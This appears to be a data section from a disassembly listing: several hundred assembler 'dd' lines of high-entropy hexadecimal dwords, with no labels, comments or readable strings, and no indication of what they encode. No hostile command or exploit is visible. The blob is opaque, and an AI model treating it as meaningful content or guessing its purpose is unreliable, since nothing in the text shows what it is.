		dd 82835A60h, 0FC1860DFh, 12F6BB07h, 17F4BA5Ch,	0CF5041E1h
		dd 2CB5BCB1h, 2348C4F5h, 113CFB17h, 1AB09908h, 44D747BEh
		dd 48197536h, 2313996Ch, 0FB9CFBF3h, 251A76CAh,	1CD60976h
		dd 0DC0911A4h, 0FD0BA6AFh, 9E4E553Ch, 78F6417Eh, 803CC836h
		dd 5621FE0Ch, 0E3B0E92Ch, 0ACD8443Ah, 5A3D8C99h, 0BF575201h
		dd 48E53233h, 4844E22Eh, 0BBAB1091h, 0A57E9C51h, 0AC217A2Ah
		dd 57BA5629h, 16875E77h, 3C9FE85Ch, 0EBBF9251h,	5E7DB3EAh
		dd 0E94AFCA2h, 0CCD8000Fh, 6205B66Eh, 0B9B55E14h, 5B074073h
		dd 0A192505h, 0A4847632h, 12DA8D80h, 929002Ah, 68565DE8h
		dd 0D7120488h, 2EB5E67h, 9416E9A1h, 680068F1h, 28F6296Dh
		dd 0F480B58h, 3778618Eh, 20B63509h, 8303F778h, 0C51E4754h
		dd 8B4502E8h, 46BFB4E0h, 55A72E8Ah, 297334B0h, 7E924ABCh
		dd 0DC0C20EAh, 2A4E1BB1h, 805E79ECh, 0AA6FBDFFh, 0A0EDB698h
		dd 0DEEA0824h, 73EFED5Fh, 4837592Ah, 0A0521A82h, 79A2774Fh
		dd 945DA184h, 956C97ADh, 2E9B06F9h, 853BB7B6h, 0F6726851h
		dd 5B4041Eh, 63C8E688h,	0CA5E587Bh, 712158A1h, 54A46EEBh
		dd 0D509BDE2h, 7D2537FCh, 7DC99B47h, 50CB5079h,	0AC6810BAh
		dd 3DE90C40h, 5818129h,	770973EFh, 1D50BB0Dh, 0E3BD5808h
		dd 0C7FED0h, 3E61DEC7h,	68535663h, 252F867Dh, 6792E02Ch
		dd 0E8930C64h, 0C612DE89h, 4D1A6D01h, 3E5CE921h, 4628D26Bh
		dd 2A2DEB41h, 0E9693CEEh, 0E1C03C98h, 99B09FF6h, 3859BCA0h
		dd 0E5555FA5h, 0C729933Fh, 6D8606BFh, 7C2CB625h, 125E24F9h
		dd 0DB2EBD4h, 560629D4h, 0C01C408h, 0AB0276F6h,	96830F45h
		dd 6ACED5A0h, 7D53122Fh, 0D68E4410h, 790FBBFh, 0B5F1968h
		dd 0A8C5E7DDh, 386AB5D6h, 0BB48055Dh, 83F0C1FEh, 0A0E63FC2h
		dd 0F80EC741h, 9ACCBE4Eh, 1F5A31E9h, 284FC07Fh,	0B654C4ACh
		dd 5E2D46B2h, 0EF97FA56h, 0C4AA77C4h, 80F3EF65h, 620B532Dh
		dd 0E96FA1F1h, 48387A1Bh, 0E320AED3h, 2B9E5B84h, 4B6BE950h
		dd 0D44AA220h, 0B6620449h, 0B284347Dh, 5FBE052h, 0FBD701C4h
		dd 8A045C29h, 0E1979AA3h, 82EC6E7Ah, 0E9AF84BDh, 4AAD2D3Fh
		dd 8774D607h, 6D95B332h, 0DB0EDA5Eh, 0BB7401h, 135D2CA3h
		dd 5D08E6C1h, 0C6031A4Eh, 0A42FF149h, 0C2842860h, 5AA33BFBh
		dd 2C494508h, 2DE3EFC9h, 0D5B95100h, 56E195Ch, 0D039B3Ah
		dd 6AC82921h, 7E100815h, 18F83487h, 0E9E21912h,	7A6F22C1h
		dd 0AC6E03h, 0CC7D4707h, 2DF0820Ah, 0C2680781h,	40692478h
		dd 0C092664Fh, 2590548Ch, 0A0BE4EDDh, 0B561E232h, 1ABC9F5Eh
		dd 5710A8E4h, 7E98146Bh, 0BA4FB4CFh, 62F7410Eh,	5E226968h
		dd 0D2F3674Fh, 0FA40D1B3h, 42EE52BFh, 0BC90A8B8h, 21290881h
		dd 1905F44Ah, 0CBD5083Dh, 702E5F1h, 6456775Dh, 0C416FE50h
		dd 0E8BAEDD5h, 18582D4h, 4E5F0975h, 0CC2286FFh,	0AB4FA2D4h
		dd 0C4E30F5Ah, 5B94D825h, 0C5585A27h, 0A8CC968Eh, 4FF84F7Ch
		dd 820990E2h, 5EB17EADh, 6206EBC4h, 26EC229Dh, 9B1222B4h
		dd 0EB94708h, 77E4CB01h, 0FC949418h, 745E16AAh,	613E662Dh
		dd 0B24D1Bh, 2E08EFC1h,	2C4D5057h, 0FF971305h, 78CACC09h
		dd 0B9B23BC6h, 5720B5F6h, 5A4D7FEBh, 0C30C1160h, 0BC729512h
		dd 0E4622879h, 61FE2D1Fh, 3D416C7Eh, 0CAEAC289h, 76C57DDh
		dd 759E9F8h, 62AC4ABEh,	5F46A993h, 6A210FA5h, 0E7C002E6h
		dd 0CC508C87h, 52005934h, 1557AFBAh, 0C2540138h, 74295A42h
		dd 2075F1DDh, 0AAB58311h, 2314FD22h, 0CA34595h,	5D64F471h
		dd 4EEF0126h, 153BA103h, 5D34DA46h, 996AC9FCh, 37AA8713h
		dd 338F83FDh, 0ABDDEF85h, 0C4ABB720h, 13F60463h, 0A01EE0B2h
		dd 3B457DDAh, 82527097h, 0E1996927h, 0D26ED4F0h, 8649EA39h
		dd 0B091F0FBh, 945B2DA8h, 0E9E1A5FCh, 168B9938h, 4CD75058h
		dd 0C440F4E3h, 1269673Ah, 8C998CFAh, 0D527B294h, 938574B8h
		dd 858576B5h, 0AB381068h, 0E90B658Ah, 0CEFF79C9h, 59B904DFh
		dd 0AF315207h, 89099FCBh, 0A916305Ah, 2A9F614Ch, 0DB7787B6h
		dd 4F847F4Bh, 7EF9B156h, 3694AA92h, 88EBC385h, 8995A44Fh
		dd 233DE83h, 4138EB11h,	89495C55h, 0A6F502E9h, 9009B8A1h
		dd 0A046EF45h, 26990514h, 0A94408E9h, 5825D575h, 4E31E167h
		dd 39F10101h, 35EF1341h, 0F5F7EC8Ch, 50A3933Ch,	817547D9h
		dd 5D5BB80Dh, 82687ABCh, 0FD0932Fh, 59EAF9BFh, 2DC43A2Dh
		dd 2CC365ACh, 0A2275153h, 11B2FDD3h, 3B59D177h,	33150104h
		dd 779DC074h, 0DCB0E456h, 75CECB00h, 0F0E92854h, 0AE01829Eh
		dd 0F94DA6C7h, 180C8235h, 605632AEh, 2A4EA11Dh,	0E0B75EB1h
		dd 0E5ABC053h, 68334BC9h, 0F9697B90h, 0A9C57778h, 9E18C15h
		dd 2259CB09h, 44A9305h,	0ECB1AF68h, 5B35C648h, 0B6BD91AEh
		dd 6E356E84h, 1CCCA006h, 32D177EFh, 532E8A9Ah, 0FB9736ECh
		dd 0D5E91C62h, 0F7038B81h, 394DFA12h, 0DB5F47EFh, 0EF40B905h
		dd 62EC3A90h, 3558002Eh, 1A5416E8h, 2B09ED81h, 520A7364h
		dd 580881E0h, 40818F6Fh, 250250B4h, 0CEE973E3h,	7714D772h
		dd 2324F17Ah, 0B8167E02h, 0B97F00B1h, 0C568A0C2h, 5AD8B40Ah
		dd 58F67C55h, 6295FCE9h, 551111EAh, 883906F0h, 599D825Bh
		dd 4A8B4F54h, 0D5F4A6D7h, 0DC838004h, 2A6B121Ch, 2000BE45h
		dd 2913B1E2h, 59E916EFh, 0E883A83Ch, 0F6484A4Ch, 71EB18C3h
		dd 97AA6C7Bh, 8BED64E8h, 0DD57D0h, 56CA6EC1h, 0B6269568h
		dd 0C23A6743h, 42FD5165h, 8BEB7D3Ch, 0C263EA2Dh, 0C86A56BBh
		dd 88541687h, 0AFE394D9h, 0FA01CC69h, 9C3D4BA5h, 0C9406D41h
		dd 0C07007BDh, 0B931D157h, 974484h, 590EE5BAh, 0CA81022Eh
		dd 49D206EDh, 0F117ED40h, 0F9902425h, 0C569AD54h, 5705E294h
		dd 4EA3A201h, 9C400EF1h, 5A3028E6h, 2C3DF12Fh, 71AF4E50h
		dd 3268EF0Dh, 24E30B21h, 0EAEF8759h, 44C62D11h,	5D2F2F0h
		dd 1FD10F4h, 0B84E82D5h, 8462BA54h, 0AE5D2916h,	75CA846h
		dd 945AC68h, 51A2EEDFh,	352B1629h, 5104AFBEh, 0EE49AD3Ah
		dd 331EAA5Dh, 9E2D7425h
		dd 0C4E6535Ah, 0A6E3FFC6h, 0B9533112h, 71EED381h, 3F0D1FD6h
		dd 150B4352h, 6744A89h,	9F0E4886h, 80A794C5h, 0F45A432Eh
		dd 8109B70Fh, 24D278DFh, 0C02C402Fh, 7D9A06A0h,	3501879Eh
		dd 1F6681ACh, 643AC682h, 0CAF534F2h, 0DF080937h, 2162D979h
		dd 434C55F1h, 3DE1BBB0h, 8C59132Ah, 48CB8846h, 614927E3h
		dd 742FF466h, 0D20DAB7Ah, 725748C2h, 90DC292Ah,	0BF1120B7h
		dd 6EF9595Eh, 88B60404h, 8C0EC0C0h, 6458DF29h, 745A044Dh
		dd 0ACAF1177h, 0C3C29F2Ah, 0FFA5D3E9h, 872DB65Ah, 76344ACBh
		dd 33CA3414h, 0D7165803h, 32AA6D68h, 0F65F5635h, 60E9D096h
		dd 0B9B4A9BDh, 57E279C0h, 451BD418h, 523A3212h,	2C03D2ECh
		dd 12BA1CF7h, 0AEE5DA83h, 50422206h, 5FCF0120h,	0EAE97BF3h
		dd 0FD902FA8h, 0B0914DDCh, 86E12062h, 0F0505897h, 0CB435EF3h
		dd 74EE9793h, 0E37E82B2h, 5878D670h, 0A71365B5h, 5B5BF96Eh
		dd 0B6D211F6h, 57E51CB6h, 5C75727h, 121F620Eh, 4BD6F6BBh
		dd 94EE6E01h, 46E86059h, 628D2DE9h, 0F122B34Ch,	0C12A270Dh
		dd 668868D9h, 0CEFE03FDh, 0B2F4C680h, 92B081A2h, 0AAECE12Ch
		dd 833630E9h, 5D82932h,	131F5E72h, 0F4565B4Fh, 0F55ABCC2h
		dd 537C8A72h, 0D8AB9624h, 7F2DD889h, 92682140h,	92341B4Dh
		dd 2933C2FBh, 4B82077Eh, 0E039CE66h, 252D477Ch,	0AF093014h
		dd 0DC9A907Fh, 85640944h, 3382D529h, 91DC8E04h,	5E0E6BEFh
		dd 4CCF81C6h, 0D82F1263h, 4D7EBBEFh, 0A2E06A4Ah, 1DDAE826h
		dd 0B186E97Dh, 7A0A453Bh, 0A4DF604Fh, 0DEEDCE5Eh, 5256F600h
		dd 0F028D5B6h, 0E9065A61h, 0F1948B17h, 68B0FAEAh, 0E5A6591Eh
		dd 96C2F9BFh, 0CE2CBF5Eh, 52456016h, 0D5F684B5h, 3FCD801Fh
		dd 0DC4EDE0Bh, 0BE56604Fh, 8A2712C6h, 1F99F51Dh, 36AE00D6h
		dd 0B1574BB8h, 0A9F03A4Ch, 0F92412EDh, 4BE7096Ch, 7063C554h
		dd 0E814923Dh, 9F381E6h, 9FFC7D7Ah, 75A1C2DDh, 0E9780D74h
		dd 0EB475B3Fh, 75EFFB62h, 9381DC70h, 17840660h,	9501CD7h
		dd 0B9526303h, 7530E377h, 0EAC33B42h, 1F0630FFh, 0E253050Ch
		dd 7FF04B60h, 9021412Fh, 810A447Dh, 1251CE00h, 8B0F7B9Eh
		dd 198260DEh, 12552C6h,	72E91012h, 0EB4756BAh, 135BAA8Fh
		dd 82FFAD1Dh, 0E3E4B46Bh, 5E6EB319h, 0A1740059h, 16F4549h
		dd 0BF5711C5h, 0A4C90A12h, 0D13F1221h, 7BD6E9E2h, 48EADB54h
		dd 0D00C9FB2h, 7BD9F55h, 261E77E0h, 1BA5CF89h, 1A48D5Dh
		dd 32347B9Bh, 0CB09936Ah, 954F5893h, 0DC57317Fh, 0B1090105h
		dd 2A08BBBEh, 60E82CB0h, 22F51BA9h, 33908E41h, 0A303F832h
		dd 0D6A0C15Ah, 0AC89F86Eh, 12A9BFE9h, 0D69D3CD8h, 31362CE3h
		dd 0E513C210h, 2EF62553h, 22EF5527h, 485B3E68h,	0A9A2A625h
		dd 0FE78E6C7h, 0BBE7AAA5h, 804AE913h, 0A6DBDFAh, 551DF814h
		dd 672B17D8h, 97F88CAAh, 55E86E4Eh, 0E9BCCCF5h,	3C926C30h
		dd 3D5A62B8h, 0AC273EF8h, 7F02C089h, 89024DB7h,	3B2061E0h
		dd 40C28001h, 0D0288BBBh, 0E1B62C74h, 0E8ACC68Bh, 250548A3h
		dd 42DD7D8Ch, 0A5080FC8h, 0FEFD590Fh, 2C752910h, 818B1830h
		dd 63C5DF89h, 0C6022C16h, 46256968h, 0FEEF0E8h,	5964A113h
		dd 0B4D7AC37h, 817424C3h, 0C9402A5Eh, 3E1B48C6h, 0B25F3108h
		dd 0ECF71622h, 5A7849F2h, 4B6C1F0Bh, 0BDD93DEEh, 568C25B9h
		dd 5DE253E9h, 0BA0125DEh, 28896C63h, 4C69077Eh,	0D80299CEh
		dd 612F44E7h, 39FF7BDFh, 0A9DD8DF0h, 89DC4287h,	7A7060C5h
		dd 7CB5F98Ah, 0F8B566A4h, 5BD03AD3h, 10C5019Bh,	0C2580F9Ch
		dd 0D55DEB89h, 5F2DCAF9h, 5B20BC14h, 0DCD09542h, 5C3176BDh
		dd 57690D96h, 0E2B7F78h, 4309C504h, 5A32163Ah, 2C49859h
		dd 39846514h, 877324FEh, 0F4BBECADh, 552197D1h,	0CA4C550Ah
		dd 540E9060h, 0DA13302Dh, 0C3F39D23h, 0FB0BC968h, 5019B369h
		dd 0D25C99EBh, 30901ABh, 0ED018449h, 0BB67BABh,	17C0F64Ah
		dd 29F875F8h, 171B0B84h, 31C866D0h, 0CAFE56Dh, 0E93F107Ah
		dd 252667DBh, 7E3751E0h, 758E180Fh, 0A30D4A86h,	21351B00h
		dd 3744492Dh, 0D4E916C4h, 4E42AD72h, 7F6600ABh,	0D1F7432Dh
		dd 6B5E26B0h, 0A0B638ABh, 0EBD97E60h, 4B526431h, 2AE38710h
		dd 301C3008h, 1C5EA76Fh, 0B4576AE0h, 0E57552A4h, 0F15C1621h
		dd 2CAE2E4Bh, 3D00646Fh, 0E581607Dh, 17E832B3h,	0A8D5F709h
		dd 15420174h, 0E1CE933h, 9AEA1A0h, 8112199h, 390B9859h
		dd 0DC965FE6h, 0BB95102h, 0C018784Dh, 41CAE3Fh,	0CEE90E33h
		dd 4ACF953h, 4BCCCF90h,	0B41EB0FAh, 5E90B64Bh, 48E12802h
		dd 0B8743858h, 2054727Bh, 5302AA7Ah, 6D7FEB68h,	2F447723h
		dd 0B511CBFh, 0D42BB4F3h, 0E085F704h, 96C1482Ah, 46DF440Fh
		dd 2D55006Eh, 430E28D6h, 0F6089CB4h, 0C4552515h, 409520B7h
		dd 17BEBB4Bh, 1044BA6Ch, 2AB8C67Ch, 0AC1E53DEh,	360BDEAAh
		dd 596877E7h, 4D2C685Ch, 52C3F066h, 7557D851h, 4A6F5ACBh
		dd 0A7F85C4Fh, 5E20C6D5h, 0BB6FC47Ah, 0C0CD5CC0h, 2C7F2678h
		dd 471D0130h, 40455ED3h, 2E2A82E7h, 2F27D60h, 395A2F07h
		dd 4E82E781h, 0FAE906B8h, 1671E3A9h, 0F2807A3Ah, 8F1D28C7h
		dd 6C0220CFh, 90760490h, 0C97C0383h, 29940583h,	0BCD0C0E2h
		dd 0C342D05h, 10BA43B0h, 0BF4E07BAh, 0F3C0E037h, 1644D92Eh
		dd 0F92876E9h, 3FDF84E1h, 0EA4BA914h, 0D8F8791Ah, 0C1F1A043h
		dd 99DB8388h, 577ADC4h,	10F64236h, 0FE08F3E0h, 28C86021h
		dd 6452D59h, 0FE9AF2B8h, 0CAAE0FD2h, 0EA42764Bh, 75F1E909h
		dd 2F664D19h, 956B8CE4h, 5628407Eh, 0F6955BF8h,	0EB018919h
		dd 8FEA4AB3h, 0F64837F0h, 0F4A72F30h, 2CA18208h, 0BF006901h
		dd 4B92A676h, 0E96A4B2Dh, 232A2D0Dh, 0CBCB9FF4h, 0CE2BAEh
		dd 0E01094E9h, 1C4B4C2Ah, 0CF5D710Ch, 0FA548C7Ch, 38036AF2h
		dd 0E7D12532h, 40293C1h, 5AB43958h, 0E94FF0E0h,	56183530h
		dd 0BE22880Fh, 7B0D004Ah, 2D64B11Eh, 0CF2F7419h, 7728A89Eh
		dd 5A31BF00h, 0EF813E3Bh, 0AD2782E8h, 609A423Ch, 5FD2E975h
		dd 3D13F3DEh, 0B538CF21h, 0E6099F51h, 5040EA51h, 825F6D68h
		dd 21580940h, 2EB83BE1h, 7D6EBDB0h, 0DD60E22Dh,	6285EBA9h
		dd 34CDFBF5h, 1239E27Bh, 232046C9h, 4C207693h, 502EEA7Ch
		dd 60F3CEEBh, 807CB6E2h, 28E7C50Eh, 0B8EDAEF5h,	9A15E9B1h
		dd 3D679B57h, 0AB274792h, 0E90BB72Bh, 0CBEA6CEDh, 9868455Dh
		dd 562E453h, 277BA22Eh,	462F94A4h, 41DEB526h, 0A8DA96BEh
		dd 2E1A368Ch, 12AD5402h, 287BC2C7h, 0F3DF0009h,	95163773h
		dd 0EF411EF2h, 80E90B01h, 2BF5B17Ah, 25EB2056h,	29D5BA1Fh
		dd 7F984D0Bh, 20905B6Eh, 0CC89B325h, 0FBB071h, 732A125Bh
		dd 94E9FE01h, 31971BBFh, 5FDBEBA0h, 0F582DC52h,	475047BEh
		dd 4140BC4Ah, 3F401268h, 73B1E4A2h, 986563C3h, 9E23546Ah
		dd 5F066011h, 0EFF0CDD4h, 0C10E5D90h, 52C87003h, 8EE50FAh
		dd 1D85F75h, 0EF8D0F17h, 0C7ED8084h, 0F8491D10h, 0E888024Fh
		dd 6C29F58Ah, 25B279D5h, 54A9C7FEh, 0BADCFE25h,	0A4D21112h
		dd 7CBD6AFDh, 0C9EFC052h, 4D1A9826h, 0B6CC701h,	62305908h
		dd 0B0087595h, 0D4C4AE12h, 0D485B6AEh, 8E7852Ch, 0A06DF31Fh
		dd 7825C2BAh, 445948B3h, 88C0023Fh, 5AD7C8F9h, 11166812h
		dd 3C829E37h, 30794C5Fh, 60D165E2h, 0A1FEE1Eh, 7109C301h
		dd 7A867210h, 6FF19DE3h, 0E3EF6844h, 2EB1D21Dh,	0BAD8B7Bh
		dd 510A7068h, 1308B8AEh
		dd 0E985294Eh, 0F5BF7DE1h, 2694DCB4h, 7CB0507Eh, 3648BA09h
		dd 160ED84Fh, 0E1B4682Fh, 0CEE56AA2h, 5B849BCCh, 8B070044h
		dd 0E948A551h, 0FC84BA4Bh, 7FA529AAh, 4EF89384h, 6056809h
		dd 0E24A6666h, 553FBBFDh, 0F419FE84h, 0F66DC859h, 9F66C4Bh
		dd 0FE5F5417h, 0B13A5279h, 0C7AD7A87h, 83F65C2Eh, 28EB0D09h
		dd 76ED0F5Bh, 947BE909h, 684357FEh, 0CBBB948Dh,	0FDE15FD0h
		dd 0F2AC2ABDh, 82D6168Ch, 7C85ECCh, 1B9680FEh, 0F320D983h
		dd 0DE4CDA13h, 0C9123F3Eh, 8ACC0876h, 42E26805h, 0FAF403FCh
		dd 589530A6h, 36F15527h, 0F4928990h, 61408152h,	9AD0A359h
		dd 8954F96Ah, 76E6AD1Dh, 6AFFA182h, 0FDAD0BDFh,	0F101EBA3h
		dd 938408E9h, 87BBEE3Fh, 70A6B211h, 1670F35Fh, 72FBA85Bh
		dd 585AF51Dh, 1876C84h,	9DDC3F88h, 13D9CFC2h, 69217652h
		dd 0E8952DF2h, 140F4699h, 265E9880h, 4257EA0Bh,	891ED985h
		dd 615AD8A0h, 0D217B730h, 4AD33F4Fh, 1693B834h,	0E567868h
		dd 0B85C08h, 0C9BC3540h, 0DCA18945h, 0ABE5EF9Ch, 0C935ECBh
		dd 0C91F3FF1h, 0B9520C09h, 0A0986126h, 0B766C924h, 0A1F81546h
		dd 0C63381EDh, 0C8FAF6D0h, 5D9EC2Eh, 698EE9D9h,	4F8F24AFh
		dd 0E08550ECh, 0CE15ED97h, 0AD16B0D3h, 7DDAFD3Ah, 1A93D183h
		dd 0F6184A36h, 387ABD37h, 0F4F4F7E6h, 4E41524Ah, 13655D14h
		dd 0A4D5BF8Ch, 1E0EF2A7h, 3801482Fh, 0B5A50E1Ah, 0C209CD10h
		dd 805669B0h, 0A3277B24h, 49C3F235h, 7C0791EBh,	0F37FEE7Dh
		dd 63000C7Ah, 784777F3h, 0B0DF893Eh, 0DA2B5D10h, 799A8408h
		dd 0B6C18007h, 0FD538192h, 9AADBFAAh, 0AD99E94Ah, 0C8CA3E5Dh
		dd 4386CF4Eh, 2FD1970Ch, 22076FB0h, 4FD72877h, 0AC7B2F1Bh
		dd 0FB2B9EE2h, 75B20B25h, 0C0B55EC4h, 80C14560h, 5B4ADA01h
		dd 0CC9FD9B9h, 211ED91Ch, 50FEF377h, 5B2FF792h,	0C94DF401h
		dd 0ADBE6D77h, 5531A35Fh, 428CB956h, 0D3046332h, 0C0404376h
		dd 1A744535h, 30F5258h,	3C2342CFh, 0E1E7B067h, 5A95306Dh
		dd 55617E56h, 0EFB5D34Ah, 8C3E99DDh, 0C35D8697h, 5598BA1h
		dd 31EF36FAh, 97562517h, 0A120C6A7h, 5DA9685Fh,	6480F727h
		dd 0F7315A7Fh, 10DCD858h, 0AB4F0F12h, 0AFA54437h, 1D14B4AFh
		dd 955D3940h, 0D88C2914h, 7CA76827h, 6DE961A0h,	7BA1368Fh
		dd 2149625Bh, 0A44E2987h, 6FB17577h, 0E076A96Ah, 0AB45EB68h
		dd 60C5C769h, 1FA3CCD8h, 645EFE70h, 5B950497h, 3DD8AF58h
		dd 0FBA45F66h, 0F53BDC6Dh, 0E09B3A7Bh, 46D8201Ah, 5208E1F5h
		dd 0EE0F163Ah, 844F76CAh, 0E879F3Fh, 127EACE9h,	8F06F2AAh
		dd 6222E9D0h, 0E2BE5786h, 0C4A37EBFh, 0E1B7004Fh, 0E19CB353h
		dd 0FD28DB40h, 9CED7880h, 0B5590957h, 0EAC39B24h, 5C2A8880h
		dd 276E7E48h, 5479ECF5h, 0E1DDF742h, 0DD6FB345h, 2CC4ED49h
		dd 34C95479h, 0BA1F3896h, 0D16D74C3h, 7BD23831h, 2D129C4Eh
		dd 0E807CB0Eh, 6D36A235h, 0D0A7C031h, 0AD07A305h, 685A1101h
		dd 4E7A57B0h, 0EA132438h, 1349ECA3h, 0DE22382Fh, 0F6574605h
		dd 0DE9D823h, 2C14E859h, 37124302h, 44E4A7AEh, 515FCF17h
		dd 0D08321FBh, 3CBF04FDh, 7F24E9D7h, 7CA7819Fh,	1324D3h
		dd 2E35306h, 8C90F829h,	7D2F089Eh, 57221D96h, 51E23237h
		dd 59045CB0h, 62A95390h, 290E2458h, 0A2C955Dh, 0ED13681Fh
		dd 7920F766h, 710507EDh, 0A4FDBEDEh, 42C8FFECh,	4222410Ch
		dd 48FF3013h, 0C832C184h, 5C071706h, 0E9B7F128h, 32C03D58h
		dd 0EA6994F0h, 5732F75Eh, 0A7A3C7F7h, 9D4D044Ch, 0A3BF04D5h
		dd 28F0F93Ch, 768EA18Eh, 6A990C82h, 9B6A6B4Ch, 1D5FE589h
		dd 44FCA58Bh, 7FB95189h, 0C40150A5h, 6BFB1573h,	0F92A295Ah
		dd 751DA742h, 5F4CE713h, 85B21631h, 51E06BF8h, 0C0B543B5h
		dd 5BE9DE2Eh, 0EEF0F4B9h, 0A5261F0Ah, 7E00814Bh, 8972CF5Fh
		dd 5BE973F5h, 882AAFB2h, 31EA2C4Ah, 0E0BB8040h,	210AC408h
		dd 30B8BED8h, 0C20734F1h, 505EA318h, 4197E4F6h,	0FD21208Ch
		dd 5BDE8800h, 0F6F4B050h, 0E8C000D0h, 28963408h, 2926E9C6h
		dd 0CCA0264Ch, 96BFC3EEh, 237A0AE0h, 2DC618DDh,	0E9123F5Ah
		dd 8AA636E3h, 0DE061810h, 67499E09h, 45B9600h, 17EB7EC6h
		dd 551A25A2h, 0F15F1263h, 0B3509ABh, 2CB2C35Bh,	0E98BD7ECh
		dd 0E814BBD7h, 51D82DCFh, 80CCE30Fh, 427D6740h,	0A50DE105h
		dd 0D872BB1Eh, 200548ADh, 4DBF04ADh, 0AB19AA47h, 7E8920ECh
		dd 0C4BB1CA3h, 3B587DA9h, 814B60AEh, 9E123CF7h,	0EEACE985h
		dd 0BD09E73h, 0FF793721h, 57AC01C4h, 6040C116h,	738D589h
		dd 38764348h, 112F00ADh, 459BE181h, 6607653h, 3C5EC7E9h
		dd 0C108184Ah, 631C1Bh,	0C69CFA8Dh, 6EEECD01h, 0C5E4575Fh
		dd 5A4B1E20h, 8419CB3Ch, 6C824454h, 8B711315h, 504156FDh
		dd 4C495DBBh, 2A180EBBh, 0E909F0AEh, 4DB00D13h,	0C69734E3h
		dd 0F1F7050Eh, 5E25A268h, 29940A6Dh, 66C989E8h,	680D55Eh
		dd 4913E634h, 48F10481h, 80023108h, 2C7AF99Ch, 0C80C3C63h
		dd 63DA1Bh, 500584C5h, 8C8C8964h, 0D2D4D2A1h, 743A9D8Fh
		dd 0C1507CF4h, 1346ECE6h, 0E7D9FFE9h, 0EFD11F00h, 0F6CCA77Ch
		dd 0DE65C2BCh, 0B6CFDA5Dh, 51F4AD58h, 0A9A89945h, 0E68EA5Ah
		dd 740B4A2Fh, 73EDBA4Eh, 0ABD2C496h, 0EB8F1E2Ch, 0E287746Bh
		dd 15A16A1h, 0E9BB61BAh, 0CD3C4Fh, 2E47A705h, 4BA5201h
		dd 38A51C5Fh, 27DCE21h,	0E948E8D1h, 2D9FF045h, 20F7464Eh
		dd 1ED1229Ch, 0F72930CBh, 77B7EF9Eh, 727B8827h,	7D088249h
		dd 220B414Ch, 7F569D0Eh, 0B5C7BE21h, 0E967E416h, 0F2DBEB55h
		dd 95D54677h, 0D6579475h, 958BAFD9h, 0B3806727h, 0EF8034B7h
		dd 0CAA0444Fh, 16934E8Eh, 6DDCAF18h, 0D9F1A18Ah, 0B162F23Eh
		dd 903A08E9h, 4C43E5BFh, 0C13DE31Dh, 6D1260BEh,	9048A31Eh
		dd 6F2D0969h, 6022774h,	0C0F547D4h, 3A07E910h, 0A616D9F7h
		dd 36DAD065h, 5317082Eh, 6204E1C1h, 8E44A5Eh, 0EA0944B4h
		dd 0C22CCD73h, 0B2054A56h, 0CBC1281Fh, 0BC388684h, 5E4A68C2h
		dd 0F4144CD7h, 0F6355B7Ch, 676E09DAh, 38198105h, 0AAE39D68h
		dd 21A668BDh, 5B6AF8D5h, 6EFCA595h, 0D9BB4E12h,	0F7386056h
		dd 3882E7B6h, 7F3CF161h, 0D5CA1B00h, 31F76D4Dh,	292C6456h
		dd 895F58C5h, 0C6B6D44Ah, 0D2E48080h, 0EC02ECC0h, 0C0964F4h
		dd 6BD2EB03h, 0C2DFCB87h, 0A73804C6h, 2CE048CAh, 55AF8C83h
		dd 0F1B4F1A5h, 0C8E32B87h, 5A1042D2h, 8684E2C1h, 0BAECBAC2h
		dd 291A3683h, 0C9B6ADE7h, 0D7442F6Bh, 0AE13E857h, 43056613h
		dd 0D440A088h, 65E966C5h, 0B3C4978Dh, 85AC619Fh, 0F709DFDAh
		dd 0E967E456h, 310DE0D9h, 905F49F9h, 6A2CBB4Fh,	0F9514BA4h
		dd 5758F1CEh, 793142C6h, 886C4C42h, 9F854EB5h, 5DF2E17Eh
		dd 0C24A4B4Ch, 5B9C2DC4h, 255AB470h, 0A957365Dh, 0E90853ECh
		dd 0DA46BB25h, 0EFDFF9CDh, 812FC3F0h, 7C20EE3h,	0F3C00AB6h
		dd 0EA63F420h, 9724D9BFh, 0FEB65222h, 0BCD98F3Ch, 25702353h
		dd 0BC970785h, 515F25B0h, 0E95340BDh, 58813D3Bh, 1CD3D740h
		dd 0F226C02Ah, 5577237Eh, 79B0E91Ch, 0F4E7D525h, 29185727h
		dd 3BE11E88h, 0AD412A8h, 50F17910h, 0B895A12Bh,	9DEA8987h
		dd 508880DDh, 9C819EE9h, 78DC4BFFh, 681C1451h, 969F1770h
		dd 0F3E91A18h, 697D0A41h, 37F9CF0h, 0DE2CAC1Ah,	349606C1h
		dd 5F09FD07h, 3D5F74Dh,	106E902Dh, 1F9A4243h, 1B13B22Ch
		dd 0F9BF69C4h, 85EEA4ADh
		dd 0C0D0112h, 754A7413h, 40D8CC00h, 0AA0866B8h,	76B9409h
		dd 69990170h, 0BF9A5277h, 86624C40h, 0F1A0265Eh, 4FD6FE42h
		dd 1122D052h, 4AF04175h, 9F8D0F13h, 22FEC5C5h, 0C0589A61h
		dd 2461C0BFh, 0E9490BD8h, 4C7C5B25h, 0A47E0559h, 1D5EE9D7h
		dd 0DC416A0Ah, 0D737A93Bh, 6C5B2A02h, 0C08BF797h, 0D9884A02h
		dd 963B797Dh, 3A60E1BAh, 0B4338BAh, 8220FA94h, 4C4B390Fh
		dd 0E236AB37h, 0C2CFC164h, 8F4AA03Eh, 32B86240h, 31E4B1F3h
		dd 407DE18Bh, 25E9DDE9h, 0F4569A34h, 0F9113FC2h, 3048364Ah
		dd 0D927EB92h, 931665Bh, 0DEE51FBh, 82E7C5FDh, 61F25AEAh
		dd 747F56E1h, 0C9EF89E2h, 0D41AE8CEh, 0ED5714D2h, 0DDA605AEh
		dd 3B1B8D4Ah, 12D6DAA0h, 670D1228h, 14F5D50Fh, 0BF27490Ch
		dd 806AD4DEh, 70B8CB1Fh, 0ED96AFFFh, 161326FDh,	0E188C960h
		dd 0F816495h, 9A41872Ch, 70272D80h, 2789CB28h, 27D58C6h
		dd 5D71B179h, 447F2192h, 2CC290B6h, 965F2F6Fh, 2C41354h
		dd 0D076EA59h, 8C7484DDh, 3B818CFFh, 0B96EE841h, 2779875Fh
		dd 0A19AC508h, 5FB86EDAh, 0ECC4C682h, 66D3FA60h, 80AA5A60h
		dd 165923EBh, 8D737268h, 12AB3EACh, 152ECBEAh, 2DF65E30h
		dd 0A82759D8h, 6B316BFh, 0DC5B051Fh, 0A744EA3Ch, 0FE1E36F8h
		dd 0EBD25125h, 50D0025Eh, 0B101FC3h, 0F329278Dh, 28089888h
		dd 20209081h, 0BB5BD697h, 497A3CBDh, 0BE00683Eh, 0F27119C7h
